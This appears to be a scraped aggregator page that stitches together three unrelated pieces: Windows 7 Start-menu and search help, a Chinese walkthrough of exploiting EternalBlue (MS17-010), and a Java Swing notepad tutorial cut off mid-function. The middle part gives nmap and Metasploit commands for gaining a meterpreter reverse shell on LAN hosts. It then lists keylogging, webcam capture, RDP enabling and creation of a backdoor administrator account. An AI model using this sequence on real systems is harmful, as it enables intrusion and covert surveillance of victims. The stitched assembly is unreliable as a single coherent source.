精华内容
下载资源
问答
  • 利用windows的查找功能
    千次阅读
    2021-08-01 07:43:30

    在Windows7中,您对出现在「开始」菜单上的程序和文件具有更多控制。「开始」菜单在本质上是一个白板,您可以组织和自定义以适合您的*项。

    06372318e29af8e4ab49f4417139594d.jpg

    开始菜单

    库在以前版本的Windows中,管理文件意味着在不同的文件夹和子文件夹中组织这些文件。在Windows7中,还可以使用库按类型组织和访问文件,而不管其存储位置如何。

    库可以收集不同位置的文件,并将其显示为一个集合,而无需从其存储位置移动这些文件。有四个默认库(文档、音乐、图片和视频),但可以新建库用于其他集合。默认情况下,文档、音乐和图片库显示在「开始」菜单上。与「开始」菜单上的其他项目一样,可以添加或删除库,也可以自定义其外观。

    搜索「开始」菜单包含一个搜索框,可以使用该搜索框来查找存储在计算机上的文件、文件夹、程序以及电子邮件。开始在搜索框中键入单词或短语之后,便自动开始搜索,并且搜索结果会临时填充搜索框上面的「开始」菜单空间。

    根据每个结果的项目种类以及它所在计算机上的位置,将搜索结果组织成多个组。例如,您可能会看到按程序、按“控制面板”任务、按库(如文档或图片)以及按文件组织的搜索结果。每个组的*搜索结果(并非所有匹配)将显示在组标题下。可以单击一个结果打开该程序或文件,也可以单击组标题在Windows资源管理器中查看该组的完整搜索结果列表。

    “电源”按钮选项

    “关机”按钮出现在「开始」菜单的右下角。

    单击“关机”按钮旁边的箭头可查看更多选项

    单击“关机”后,计算机将关闭所有打开的程序并关闭计算机。可以选择让该按钮执行其他操作,如将计算机置于休眠模式或允许其他用户登录。

    有哪些变化?

    在Windows7中,对「开始」菜单中一些熟悉的按钮进行了更改或删除(但如果愿意,您可以将它们添加回来)。

    1、删除了“连接到”按钮,该按钮提供一个您可以选择连接到的可用网络的列表。若要查看可用网络的列表,请单击位于任务栏末尾的通知区域中的“网络”图标,然后单击“打开网络和共享中心”。

    2、“打印机”按钮现在为“设备和打印机”按钮。可以单击该按钮显示已连接到您计算机的所有外围设备的列表,包括打印机、传真机、监视器以及鼠标。

    3、“网络”按钮已从「开始」菜单中删除,但它出现在Windows资源管理器的导航窗格中。可以单击“网络”按钮显示已连接到当前网络的所有计算机的列表。

    4、“最近使用的项目”按钮已从「开始」菜单中删除,但是您最近打开的文件和程序将仍然自动出现在「开始」菜单的“跳转列表(JumpList)”中。如果愿意,还可以将“最近使用的项目”按钮添加回「开始」菜单。

    您可能还会注意到,在Windows7中不再有经典的「开始」菜单选项(它为「开始」菜单提供以前版本Windows的外观和功能)。有关在「开始」菜单上添加和删除按钮的详细信息,请参阅自定义「开始」菜单。

    更多相关内容
  • windows快速文件查找工具,利用此工具可快速定位查找文件、文件夹。比windows自带的查找功能不知道快了多少。
  • 摘要:Delphi源码,字符处理,TReplaceDialog,查找替换 Delphi编程,利用TReplaceDialog组件属性实现字符串的查找替换,这在Windows中看似简单实用的功能,真正到自己去编写实现的的时候,觉得还真不是那么顺利,请看...
  • 【IT168 应用】Windows7 提供了查找文件和文件夹的多种方法。搜索方法无所谓最佳与否,在不同的情况下可以使用不同的方法。一、使用「开始」菜单上的搜索框1、可以使用「开始」菜单上的搜索框来查找存储在计算机上的...

    【IT168 应用】Windows7 提供了查找文件和文件夹的多种方法。搜索方法无所谓最佳与否,在不同的情况下可以使用不同的方法。

    一、使用「开始」菜单上的搜索框

    1、可以使用「开始」菜单上的搜索框来查找存储在计算机上的文件、文件夹、程序和电子邮件。

    2、若要使用「开始」菜单查找项目,请执行下列操作:

    1)单击「开始」按钮

    4f6cbd09-148c-4dd8-b1f2-48f232a2fd33.jpg,然后在搜索框中键入字词或字词的一部分。

    abec00ee92beba81a0161caee0351f2d.png

    ▲(1)搜索结果 (2)搜索框

    在搜索框中开始键入内容后,将立即显示搜索结果。

    键入后,与所键入文本相匹配的项将出现在「开始」菜单上。搜索结果基于文件名中的文本、文件中的文本、标记以及其他文件属性。

    注意:从「开始」菜单搜索时,搜索结果中仅显示已建立索引的文件。计算机上的大多数文件会自动建立索引。例如,包含在库中的所有内容都会自动建立索引。

    二、使用文件夹或库中的搜索框

    通常您可能知道要查找的文件位于某个特定文件夹或库中,例如文档或图片文件夹/库。浏览文件可能意味着查看数百个文件和子文件夹。为了节省时间和精力,请使用已打开窗口顶部的搜索框。

    fa598c3daee1e2c78ec1f78d07397cc4.png

    ▲文件夹或库中的搜索框

    搜索框基于所键入文本筛选当前视图。搜索将查找文件名和内容中的文本,以及标记等文件属性中的文本。在库中,搜索包括库中包含的所有文件夹及这些文件夹中的子文件夹。

    若要使用搜索框搜索文件或文件夹,请执行下列操作:

    1)在搜索框中键入字词或字词的一部分。2)键入时,将筛选文件夹或库的内容,以反射键入的每个连续字符。看到需要的文件后,即可停止键入。

    例如,假设文档库如下所示:

    fcba72478d064b85660aa88b17a8a1cc.png

    ▲在搜索框中键入字词之前的文档库

    现在假设您要查找发票文件,因此在搜索框中键入“发票”。键入后,将自动对视图进行筛选,将看到如下所示的内容:

    15a33ccd-64a6-48d0-b63e-5610ab536484.jpg

    在搜索框中键入“发票”之后的文档库

    也可以在搜索框中使用其他搜索技巧来快速缩小搜索范围。例如,如果要基于文件的一个或多个属性(例如标记或上次修改文件的日期)搜索文件,则可以在搜索时使用搜索筛选器指定属性。或者,可以在搜索框中键入关键字以进一步缩小搜索结果范围。若要了解如何使用搜索筛选器和关键字,请参阅“在 Windows7 中进行搜索的高级提示”。

    三、将搜索扩展到特定库或文件夹之外

    如果在特定库或文件夹中无法找到要查找的内容,则可以扩展搜索,以便包括其他位置。

    1、在搜索框中键入某个字词。

    2、滚动到搜索结果列表的底部。在“在以下内容中再次搜索”下,执行下列操作之一:

    1)单击“库”在每个库中进行搜索。

    2)单击“计算机”在整个计算机中进行搜索。这是搜索未建立索引的文件(例如系统文件或程序文件)的方式。但是请注意,搜索会变得比较慢。

    3)单击“自定义”搜索特定位置。

    4)单击 Internet,以使用默认 Web 浏览器及默认搜索提供程序进行联机搜索

    如了解更多有关微软win7操作系统的信息可点击www.genuinewin7.com。

    展开全文
  • 溢出漏洞利用此Shellcode旨在利用Windows上的溢出漏洞来执行远程代码我的shellcode执行以下任务:1.使用进程环境块(PEB)查找kernel32.dll地址。 由于我们可以在fs:[0x30]处找到PEB地址,并且kernel32.dll始终是要...
  • 首先简单介绍一下什么是永恒之蓝,永恒之蓝【Eternal Blue】爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日,不法分子通过改造...

    利用永恒之蓝对Windows进行攻击

    • 环境搭建:kali、Windows server 2008R2、Windows 7,其中Windows server 2008R2\WIN7为靶机。
    • 首先简单介绍一下什么是永恒之蓝,永恒之蓝【Eternal Blue】爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
    • 关于“SMB” ?SMB协议[Server Message Block]是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,网上邻居也是SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP协议的139端口和TCP445端口。

    【环境搭建】

    -搭建kali,下载地址https://www.kali.org/
    在kali输入ifconfig查看本机IP
    在这里插入图1片描述
    搭建靶机Windows server2008R2,输入ipconfig查看本机IP

    在这里插入图片描述
    搭建靶机Windows 7

    在这里插入图片描述
    本次搭建的靶机都处于同一个局域网,其实保证网络能通信就好。假设我们拿下某台web服务器打进内网了,现在要拿下这台局域网内其他主机的管理权限。

    【信息收集】

    按照正常攻击流程,我们是不知道本次局域网内其他两台靶机的IP地址和开放端口,使用nmap或者其他扫描主机端口的工具进行信息收集。我们这里使用nmap工具进行内网扫描,kali是一款集很多渗透测试使用的工具于一体的Linux。

    • 关于nmap?

    nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统(这是亦称 fingerprinting)。它是网络管理员必用的软件之一,以及用以评估网络系统安全。基本功能有三个,一是探测一组主机是否在线;其次是扫描 主机端口,嗅探所提供的网络服务;还可以推断主机所用的操作系统 。Nmap可用于扫描仅有两个节点的LAN,直至500个节点以上的网络。Nmap 还允许用户定制扫描技巧。通常,一个简单的使用ICMP协议的ping操作可以满足一般需求;也可以深入探测UDP或者TCP端口,直至主机所 使用的操作系统;还可以将所有探测结果记录到各种格式的日志中, 供进一步分析操作。

    nmap相关命令:

    进行ping扫描,打印出对扫描做出响应的主机,不做进一步测试(如端口扫描或者操作系统探测): nmap -sP 192.168.1.0/24
    仅列出指定网络上的每台主机,不发送任何报文到目标主机:
    nmap -sL 192.168.1.0/24
    探测目标主机开放的端口,可以指定一个以逗号分隔的端口列表(如-PS22,23,25,80):
    nmap -PS 192.168.1.234 使用UDP ping探测主机:
    nmap -PU 192.168.1.0/24
    使用频率最高的扫描选项:SYN扫描,又称为半开放扫描,它不打开一个完全的TCP连接,执行得很快:
    nmap -sS 192.168.1.0/24
    当SYN扫描不能用时,TCP Connect()扫描就是默认的TCP扫描:
    nmap -sT 192.168.1.0/24 UDP
    扫描用-sU选项,UDP扫描发送空的(没有数据)UDP报头到每个目标端口: nmap -sU 192.168.1.0/24
    确定目标机支持哪些IP协议 (TCP,ICMP,IGMP等):
    nmap -sO 192.168.1.19
    探测目标主机的操作系统:
    nmap -O 192.168.1.19
    nmap -A 192.168.1.19
    nmap -sV -p 22,53,110,143,4564 188.116.0-255.1-127
    进行主机列举和TCP扫描,对象为B类188.116网段中255个8位子网。这 个测试用于确定系统是否运行了sshd、DNS、imapd或4564端口。如果这些端口 打开,将使用版本检测来确定哪种应用在运行。

    这里我在kali命令行模式下输入 nmap -sV 192.168.152.1/24进行主机探测
    在这里插入图片描述
    在探测过程中发现192.168.152.134开启了高危端口445,版本信息为Windows server-2008R2

    在这里插入图片描述
    相关参数解读
    PROT- 端口
    STATE-状态
    SERVICE-服务
    VERSION-版本信息
    MAC Address-为mac地址,里面括号为什么是VM?因为这里是VMware搭建的虚拟测试环境,所以mac地址由VMware自动分配的,VM是它的一个标识。
    同理以下为Windows 7的探测信息:
    在这里插入图片描述

    【攻击阶段】

    接下来进行攻击步骤,这里利用kali里面的一个msfconsole

    • 什么是msfconsole?
      简单理解就是一款常用的渗透测试工具,包含了常见的漏洞利用模块和生成各种木马,msfconsole简称msf。
      MSF架构
      Rex :操作系统级基本库,是MSF的底层依赖
      MFS::Core :MSF底层库
      MSF::Base :便于用户调用的基本库,提供API (模块功能基于Base库)
      MSF::UI :用户界面(最常用MSF console接口)

    • 简单讲一下Msfconsole基础应用
      msf目录为/usr/share/metasploit-framework/,其中包括了config配置文件、plugins插件、tools工具、db数据库文件、modules模块文件以及msfconsole、msfdb等命令,modules中的文件为我们最常用的模块文件,其中每个模块中都根据不同的操作系统,分为不同平台不同协议功能对应的漏洞利用文件,这些文件用ruby编写。
      在这里插入图片描述

    • modules中的模块主要包括:

    1、exploits:利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法,是一个流程性概念,其利用过程中往往会用到payloads。
    2、 payloads:攻击模块。成功exploit后,攻击过程中执行的代码或指令。可以是能够反弹shell的shellcode,也可以是直接在目标系统上直接执行的系统命令,默认有三类payloads:
    【1】 singles:要执行的所有代码都放在一个文件中,没有外部依赖,因此文件比较大,可能会因为攻击目标内存空间受限而无法使用。
    【2】stagers:传输一个较小的payload用于建立连接,后续再传输具体攻击payload(也就是stages)
    【3】stages:利用stagers建立连接后,后续再传输的代码。
    3、 auxiliary:没有payload的exploits模块,我个人理解为使用对应的漏洞扫描模块,先进行一个信息探测是不是可以利用此漏洞进行攻击。
    4、 encoders:对payloads进行加密,躲避Anti Virus(AV防病毒检测)检查的模块。
    5、 post:取得shell后,进一步运行的攻击指令{运行post模块的方法有两个,一是在取得的shell中直接run运行;二是use相应的post模块,set相应的shell session,然后run运行。

    在kali命令行模式输入msfconsole进入msf模式:
    在这里插入图片描述
    输入version查看版本,这里版本为6.1.4

    在这里插入图片描述
    搜索永恒之蓝的msf攻击模块名称,输入搜索命令search ms17-010
    ms17-010可以理解为永恒之蓝的模块名称
    在这里插入图片描述

    按照msf基本使用流程来操作
    首先进行利用模块扫描输入命令use auxiliary/scanner/smb/smb_ms17_010

    在这里插入图片描述
    RHOSTS-为攻击的靶机IP地址
    RPORT-为攻击靶机开放的端口
    我们首先扫描一下靶机Windows server-2008R2它的IP地址为192.168.152.134因为我们利用的是永恒之蓝进行攻击,对应的端口445端口。输入设置目标IP命令set rhosts 192.168.152.134,设置端口命令set rport 445(默认的就是445端口)

    在这里插入图片描述
    查看设置,输入options
    在这里插入图片描述
    设置成功,输入run进行扫描探测

    在这里插入图片描述
    根据反馈信息Host is likely VULNERABLE to MS17-010!
    主机可能易受MS17-010攻击!
    按照msf基本流程,接下来就是利用系统漏洞进行攻击的动作。
    输入命令use exploit/windows/smb/ms17_010_eternalblue使用ms17-010攻击模块,对靶机进行攻击。
    在这里插入图片描述
    查看攻击载荷

    什么是攻击载荷?攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令
    输入show payloads
    该命令可以查看当前漏洞利用模块下可用的所有Payload
    在这里插入图片描述

    设置攻击载荷

    输入命令set payload windows/x64/meterpreter/reverse_tcp

    在这里插入图片描述
    成功设置好攻击载荷了,接下来就是检查一下对目标靶机的配置,输入命令options查看配置:
    在这里插入图片描述
    这里面多了一个下面的配置,lohsts是kali攻击IP地址,lprot是本地攻击出去和接收攻击信息的端口,可以任意设置,和设置攻击目标那里一个道理的。这里把rhots和rport重新配置一下
    在这里插入图片描述
    到这一步,我们攻击的流程已经全部准备完成,输入run或者exploit命令进行对靶机的攻击
    在这里插入图片描述
    返回信息为成功!进入meterpreter模式

    • 什么是meterpreter?
      这里可以理解为是一种高级、动态、可扩展的Payload,可以基于meterpreter上下文利用更多漏洞发起攻击,同时也是后渗透测试阶段一站式操作界面。
      Meterpreter命令有很多,想使用什么命令可以百度,我这里使用一些进行演示的命令就可以了。

    输入命令sysinfo查看系统信息为Windows 2008 R2
    在这里插入图片描述
    【抓取屏幕截图】
    输入:screens即可对目标主机的当前使用屏幕进去屏幕截
    在这里插入图片描述
    【查看目标主机有哪些账户】
    输入run post/windows/gather/enum_logged_on_users查看
    在这里插入图片描述

    下面是一些meterpreter命令请各位大佬和小可爱们食用

    启用远程桌面run getgui -e 或者 run post/windows/manage/enable_rdp
    在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长,方便搞事情。
    键盘记录
    keyscan_start开启键盘记录功能
    keyscan_dump显示捕捉到的键盘记录信息
    keyscan_stop停止键盘记录功能
    禁止目标主机使用键盘鼠标
    禁止(允许)目标使用键盘uictl disable (enable) keyboard
    禁止(允许)目标使用鼠标uictl disable (enable) mouse
    用目标主机摄像头拍照
    获取目标系统的摄像头列表webcam_list
    从指定的摄像头,拍摄照片webcam_snap
    从指定的摄像头,开启视频webcam_stream

    【进入shell模式】
    直接输入shell

    在这里插入图片描述

    1、systeminfo查看操作系统,补丁情况。
    在这里插入图片描述
    2、Whoami查看用户权限,也可以进程名+whoami

    在这里插入图片描述
    输入whoami查看权限为系统权限,因为是默认的,如果不是系统权限可以利用windows提权把User权限提到 System权限,如果是Linux就是user提权到root。一般权限不够cmd命令无法执行,这里简单介绍提权,提权方法百度多的很。比如通过脚本木马查找可读可写目录,上传cmd,调用cmd路径执行命令、使用漏洞提权等等。
    【进行远程控制】
    meterpreter模式下还可以在靶机中创建一个新的账号
    输入run getgui -u hack -p 123 这个命令会创建用户,并把他添加到 Administrators 组中,这样该用户就拥有远程桌面的权限了。
    在这里插入图片描述
    Windows7的攻击也一样的,这里暂不演示了。至此本次利用永恒之蓝攻击漏洞拿到shell权限结束。

    小结:
    回顾一下本次攻击大致流程,就是假设进入一个内网环境后,利用kali攻击内网主机的一个攻击思路。从使用nmap信息收集,利用信息中存在的开放端口加上系统版本,使用kali中的msf攻击,到拿到shell。简单介绍了一下永恒之蓝、nmap、提权,后面还有提权和维持权限,编写绕AV木马检测,上传木马这些操作我后面再更新。

    【文章仅限网络安全爱好者学习参考使用,请勿用于非法途径。】
    #网络安全爱好者#doyoubest

    展开全文
  • 利用Java制作仿Windows记事本(功能齐全)

    千次阅读 多人点赞 2017-12-30 13:44:31
    嗯,今年的实训是利用Java去制作各种各样的东西,有仿Windows记事本,有网页浏览器制作,有日历记事本,还有连连看游戏制作,嗯,当然不是全部都做啊,那就来不及了,毕竟学校也是有时间限制的,就三四天时间。...

    由于期末降至,每年的学校的实训也开始了,实训当然不是每天工地搬砖啊!

    嗯,今年的实训是利用Java去制作各种各样的东西,有仿Windows记事本,有网页浏览器制作,有日历记事本,还有连连看游戏制作,嗯,当然不是全部都做啊,那就来不及了,毕竟学校也是有时间限制的,就三四天时间。我的话,抽到的题目是Windows记事本的制作!!

    额,顺便说一句,寒假里我要是有空的话,我会继续更的,把各种浏览器连连看的也都做一遍,把代码都发上来,希望我时间足够吧。

    好了好了,废话到此结束。想直接拿代码的去文章最后!!!

    ======================一条正经的分割线====================

    制作记事本,嗯,可以分为五个步骤:


    这五个步骤,界面制作,布局设计,监视器设置,功能函数编写,最后就是调试了,虽然花了很久,但是最终最出来的东西还是有缺憾,在个别功能上有欠缺,也懒得再改,大家可以在我的代码基础上继续改!加油。。。少年。。。额,又开始瞎BB了。。。。依旧回到正经!

    界面的设置,成果图大概是这样:


    啊,首先是页面的设置代码如下:

    private JMenuBar menuBar; 	//菜单条
    	private JMenu fileMenu;		//文件菜单
    	private JMenu editMenu;		//编辑菜单
    	private JMenu formatMenu;	//格式菜单
    	private JMenu viewMenu;		//查看菜单
    	private JMenu helpMenu;		//帮助菜单
    	
    	private NotePadFrame f;
    	
    	private JTextArea jTextArea;	//文本区域
    	private JScrollPane jScrollPane;		//滚动条
    	//文件菜单内四项
    	private JMenuItem openItem, closeItem, saveItem,aboutItem;	
    	private JMenuItem newItem, savetoItem;		//新建项目,另存为项目
    	//编辑菜单中的所有项目
    	private JMenuItem editUndo, editCut, editCopy, editPaste, editDelete, editFind, editFindnext, editReplace, editGoto, editAll, editDates;
    	//格式菜单下的项目
    	private JMenuItem formatFont;		//字体
    	private JCheckBoxMenuItem formatLinewrap;	//自动换行
    	//查看菜单下的项目
    	private JCheckBoxMenuItem Status;
    	
    	private FileDialog open,save;		//定义一个打开文件和保存文件
    	private File file;  	//定义一个文件
    	
    	String fileName,copy,paste,cut;
    

    以上,就是所有的菜单,以及子菜单的建立。

    嗯,所有的子菜单都新建了,然后就是初始化:

    初始化代码如下:

    public void Init(){		
    		JFrame frame = new JFrame("Wangha's Text");		//建立一个名为记事本·伪的窗口
    		frame.setBounds(300, 300, 700, 450);		//窗口位置在300,300,窗口大小为700*450
    		frame.setDefaultCloseOperation(EXIT_ON_CLOSE);		//
    		
    		menuBar = new JMenuBar();		//初始化菜单栏
    		fileMenu = new JMenu("文件");		//初始化名为文件的文件菜单
    		editMenu = new JMenu("编辑");		//初始化编辑菜单
    		formatMenu = new JMenu("格式");	//初始化格式菜单
    		viewMenu = new JMenu("查看");		//初始化查看菜菜的那
    		helpMenu = new JMenu("帮助");		//初始话名为帮助的帮助菜单
    		
    //		Document doc = jTextArea.getDocument();
    		
    		jTextArea = new JTextArea(10, 40);		//10行40列
    		Font x = new Font("Monospaced",1,20);	//定义字体大小以及一些属性
    		
    		jTextArea.setFont(x);		//只能使用x这种字体
    		jTextArea.setLineWrap(true);//到达指定宽度则换行
    		//应当首先利用构造函数指定JScrollPane的控制对象,此处为JTextArea,然后再讲JScrollPane
    		
    		jScrollPane = new JScrollPane(jTextArea);	//将滚动条添加进面板
    		//设置滚动条自动出现
    		jScrollPane.setHorizontalScrollBarPolicy( JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); //水平
    		jScrollPane.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED); //竖直
    		jScrollPane.setViewportView(jTextArea);
    		
    		jTextArea.getDocument().addUndoableEditListener(undo);	
    		
    		//定义文件菜单内部的功能菜单
    		newItem = new JMenuItem("新建");
    		openItem = new JMenuItem("打开");
    		saveItem = new JMenuItem("保存");
    		savetoItem = new JMenuItem("另存为");
    		closeItem = new JMenuItem("关闭");
    		//定义编辑菜单内部项目
    		editUndo = new JMenuItem("撤销");
    		editCut = new JMenuItem("剪切");
    		editCopy = new JMenuItem("复制");
    		editPaste = new JMenuItem("粘贴");
    		editDelete = new JMenuItem("删除");
    		editFind = new JMenuItem("查找");
    		editReplace = new JMenuItem("替换");
    		editGoto = new JMenuItem("转到");
    		editAll = new JMenuItem("全选");
    		editDates = new JMenuItem("时间");
    		//格式菜单
    		formatFont = new JMenuItem("字体");
    		formatLinewrap = new JCheckBoxMenuItem("自动换行");
    		//查看菜单
    		Status = new JCheckBoxMenuItem("状态栏");
    		//帮助菜单
    		aboutItem = new JMenuItem("关于");
    		
    		//添加两个选项卡到JMenu
    		//添加子菜单项到菜单项
    		menuBar.add(fileMenu);
    		menuBar.add(editMenu);
    		menuBar.add(formatMenu);
    		menuBar.add(viewMenu);
    		menuBar.add(helpMenu);
    		
    		fileMenu.add(newItem);
    		fileMenu.add(openItem);
    		fileMenu.add(saveItem);
    		fileMenu.add(savetoItem);
    		fileMenu.add(closeItem);	
    		editMenu.add(editUndo);
    		editMenu.add(editCut);
    		editMenu.add(editCopy);
    		editMenu.add(editPaste);
    		editMenu.add(editDelete);
    		editMenu.add(editFind);
    		editMenu.add(editReplace);
    		editMenu.add(editGoto);
    		editMenu.add(editAll);
    		editMenu.add(editDates);
    		formatMenu.add(formatLinewrap);
    		formatMenu.add(formatFont);
    		viewMenu.add(Status);
    		helpMenu.add(aboutItem);
    		//放置菜单项及输入框
    		
    		frame.add(menuBar, BorderLayout.NORTH);
    		frame.add(jScrollPane, BorderLayout.CENTER);
    		
    		statusLabel=new JLabel(" 按F1获取帮助");
    		frame.add(statusLabel,BorderLayout.SOUTH);//向窗口添加状态栏标签
    		statusLabel.setVisible(false);
    
    		//FileDialog 类显示一个对话框窗口,用户可以从中选择文件。 
    		//由于它是一个模式对话框,当应用程序调用其 show 方法来显示对话框时,它将阻塞其余应用程序,直到用户选择一个文件。 
    		open = new FileDialog(frame,"打开文档",FileDialog.LOAD);	//打开文档时候的界面
    	    save = new FileDialog(frame,"保存文档",FileDialog.SAVE); 	//保存文档时候的界面
    		
    	    Event();												//四个按钮的监听
    	    frame.setVisible(true);									//显示界面
    	    
    	}
    对,你想的没错,上面有一个Event();事件,他就是监视器的设置,以及事件的处理函数。

    具体函数的话,由于篇幅很长,我将一些特别长的函数直接单独拿出来边长一个函数,有如下几个:

    第一个:public JTextArea getTa()

    public JTextArea getTa() {
    		  return jTextArea;
    		 }
    代码超级长有没有!!!

    第二个:public void checkMenuItemEnabled()

    public void checkMenuItemEnabled()
    	{ String selectText=jTextArea.getSelectedText();
    	if(selectText==null)
    	{ editCut.setEnabled(true);
    //	popupCut.setEnabled(false);
    	editCopy.setEnabled(true);
    //	popupCopy.setEnabled(false);
    	editDelete.setEnabled(true);
    //	popupMenu_Delete.setEnabled(false);
    	}
    	else
    	{ editCut.setEnabled(true);
    //	popupMenu_Cut.setEnabled(true); 
    	editCopy.setEnabled(true);
    //	popupMenu_Copy.setEnabled(true);
    	editDelete.setEnabled(true);
    //	popupMenu_Delete.setEnabled(true);
    	}
    	}
    嗯,第三个,这就长了,public void find(),嗯,这个查找是我在网上查到的替换进行了更改,然后形成的:

    public void find()
    		{ final JDialog findDialog=new JDialog(this,"查找",false);//false时允许其他窗口同时处于激活状态(即无模式)
    		Container con=findDialog.getContentPane();//返回此对话框的contentPane对象 
    		con.setLayout(new FlowLayout(FlowLayout.LEFT));
    		JLabel findContentLabel=new JLabel("查找内容(N):");
    		final JTextField findText=new JTextField(15);
    		JButton findNextButton=new JButton("查找下一个(F):");
    		final JCheckBox matchCheckBox=new JCheckBox("区分大小写(C)");
    		ButtonGroup bGroup=new ButtonGroup();
    		final JRadioButton upButton=new JRadioButton("向上(U)");
    		final JRadioButton downButton=new JRadioButton("向下(U)");
    		downButton.setSelected(true);
    		bGroup.add(upButton);
    		bGroup.add(downButton);
    		/*ButtonGroup此类用于为一组按钮创建一个多斥(multiple-exclusion)作用域。
    		使用相同的 ButtonGroup 对象创建一组按钮意味着“开启”其中一个按钮时,将关闭组中的其他所有按钮。*/
    		/*JRadioButton此类实现一个单选按钮,此按钮项可被选择或取消选择,并可为用户显示其状态。
    		与 ButtonGroup 对象配合使用可创建一组按钮,一次只能选择其中的一个按钮。
    		(创建一个 ButtonGroup 对象并用其 add 方法将对象包含在此组中。)*/
    		JButton cancel=new JButton("取消");
    		//取消按钮事件处理
    		cancel.addActionListener(new ActionListener()
    		{ public void actionPerformed(ActionEvent e)
    		{ findDialog.dispose();		//将查找窗口释放内存,也就是关闭
    		}
    		});
    		//"查找下一个"按钮监听
    		findNextButton.addActionListener(new ActionListener()
    		{ public void actionPerformed(ActionEvent e)
    		{ //"区分大小写(C)"的JCheckBox是否被选中
    		int k=0,m=0;
    		final String str1,str2,str3,str4,strA,strB;
    		str1=jTextArea.getText();
    		str2=findText.getText();
    		str3=str1.toUpperCase();
    		str4=str2.toUpperCase();
    		if(matchCheckBox.isSelected())//区分大小写
    		{ strA=str1;
    		 strB=str2;
    		}
    		else//不区分大小写,此时把所选内容全部化成大写(或小写),以便于查找 
    		{ strA=str3;
    		 strB=str4;
    		}
    		if(upButton.isSelected())
    		{ //k=strA.lastIndexOf(strB,editArea.getCaretPosition()-1);
    		 if(jTextArea.getSelectedText()==null)
    		 k=strA.lastIndexOf(strB,jTextArea.getCaretPosition()-1);//在strA中查找strB,往后查找
    		 else
    		 k=strA.lastIndexOf(strB, jTextArea.getCaretPosition()-findText.getText().length()-1); //往前查找
    		 if(k>-1)
    		 { //String strData=strA.subString(k,strB.getText().length()+1);
    		 jTextArea.setCaretPosition(k);		//选中字符串
    		 jTextArea.select(k,k+strB.length());
    		 }
    		 else
    		 { JOptionPane.showMessageDialog(null,"找不到您查找的内容!","查找",JOptionPane.INFORMATION_MESSAGE);
    		 }
    		}
    		else if(downButton.isSelected())
    		{ if(jTextArea.getSelectedText()==null)
    		 k=strA.indexOf(strB,jTextArea.getCaretPosition()+1);//index 返回第一个索引的位置,从这个位置开始搜索
    		 else
    		 k=strA.indexOf(strB, jTextArea.getCaretPosition()-findText.getText().length()+1); 
    		 if(k>-1)
    		 { //String strData=strA.subString(k,strB.getText().length()+1);
    		 jTextArea.setCaretPosition(k);
    		 jTextArea.select(k,k+strB.length());
    		 }
    		 else
    		 { JOptionPane.showMessageDialog(null,"找不到您查找的内容!","查找",JOptionPane.INFORMATION_MESSAGE);
    		 }
    		}
    		}
    		});//"查找下一个"按钮监听结束
    		//创建"查找"对话框的界面
    		JPanel panel1=new JPanel();
    		JPanel panel2=new JPanel();
    		JPanel panel3=new JPanel();
    		JPanel directionPanel=new JPanel();
    		directionPanel.setBorder(BorderFactory.createTitledBorder("方向"));
    		//设置directionPanel组件的边框;
    		//BorderFactory.createTitledBorder(String title)创建一个新标题边框,使用默认边框(浮雕化)、默认文本位置(位于顶线上)、默认调整 (leading) 以及由当前外观确定的默认字体和文本颜色,并指定了标题文本。
    		directionPanel.add(upButton);
    		directionPanel.add(downButton);
    		panel1.setLayout(new GridLayout(2,1));
    		panel1.add(findNextButton);
    		panel1.add(cancel);
    		panel2.add(findContentLabel);
    		panel2.add(findText);
    		panel2.add(panel1);
    		panel3.add(matchCheckBox);
    		panel3.add(directionPanel);
    		con.add(panel2);
    		con.add(panel3);
    		findDialog.setSize(410,180);
    		findDialog.setResizable(false);//不可调整大小
    		findDialog.setLocation(230,280);
    		findDialog.setVisible(true);
    	}//查找方法结束
    接下来字体函数font(),这就更加长了,将近两百行。。。 大哭 大哭 大哭

    public void font()
    	{ final JDialog fontDialog=new JDialog(this,"字体设置",false);
    	Container con=fontDialog.getContentPane();
    	con.setLayout(new FlowLayout(FlowLayout.LEFT));
    	JLabel fontLabel=new JLabel("字体(F):");
    	fontLabel.setPreferredSize(new Dimension(100,20));//构造一个Dimension,并将其初始化为指定宽度和高度
    	JLabel styleLabel=new JLabel("字形(Y):");
    	styleLabel.setPreferredSize(new Dimension(100,20));
    	JLabel sizeLabel=new JLabel("大小(S):");
    	sizeLabel.setPreferredSize(new Dimension(100,20));
    	final JLabel sample=new JLabel("Wangha's windowsText");
    	final JTextField fontText=new JTextField(9);		//9列
    	fontText.setPreferredSize(new Dimension(200,20));
    	final JTextField styleText=new JTextField(8);
    	styleText.setPreferredSize(new Dimension(200,20));
    	final int style[]={Font.PLAIN,Font.BOLD,Font.ITALIC,Font.BOLD+Font.ITALIC};
    	final JTextField sizeText=new JTextField(5);
    	sizeText.setPreferredSize(new Dimension(200,20));
    	JButton okButton=new JButton("确定");
    	JButton cancel=new JButton("取消");
    	cancel.addActionListener(new ActionListener()
    	{ public void actionPerformed(ActionEvent e)
    	{ fontDialog.dispose(); 
    	}
    	});
    	Font currentFont=jTextArea.getFont();
    	fontText.setText(currentFont.getFontName());
    	fontText.selectAll();
    	//styleText.setText(currentFont.getStyle());
    	//styleText.selectAll();
    	if(currentFont.getStyle()==Font.PLAIN)
    	styleText.setText("常规");
    	else if(currentFont.getStyle()==Font.BOLD)
    	styleText.setText("粗体");
    	else if(currentFont.getStyle()==Font.ITALIC)
